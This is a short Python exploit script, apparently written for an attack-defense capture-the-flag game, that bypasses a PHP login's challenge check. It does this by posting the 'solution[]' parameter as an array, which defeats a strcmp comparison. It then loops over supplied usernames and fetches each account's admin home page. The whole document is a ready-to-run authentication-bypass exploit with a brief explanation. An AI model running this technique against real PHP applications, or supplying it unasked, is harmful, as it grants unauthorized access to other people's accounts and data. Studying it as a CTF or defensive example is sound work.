import sys

import requests

"""
Explanation:

We know the source code of challenge.php and login.php, thus we know, that the challenge comparison uses strcmp.
We can exploit this by passing in an array, which will happily pass the test, even if we don't know the actual challenge...
"""


def exploit_one(target, username):
    sess = requests.Session()

    # Let server store challenge
    # code in server-side session cookie
    response = sess.post(f"http://{target}:8080/func/challenge.php", data={'username': username})
    print(f"Got challenge {response.text}")

    # Try to bypass challenge check with array argument
    response = sess.post(f'http://{target}:8080/func/login.php', data={'username': username, 'solution[]': ['', '']},
                         timeout=10)
    print(f"Got: {response.text}")
    # status code 200? -> we made it
    if response.status_code != 200:
        return None

    # Get home page
    return sess.get(f"http://{target}:8080/admin/home").text


def exploit(target: str, flag_ids_username: list[str]):
    for flag_id in flag_ids_username:
        print(f'Attacking {flag_id}')
        result = exploit_one(target, flag_id)
        print(result)


if __name__ == '__main__':
    exploit(sys.argv[1], sys.argv[2].split(','))
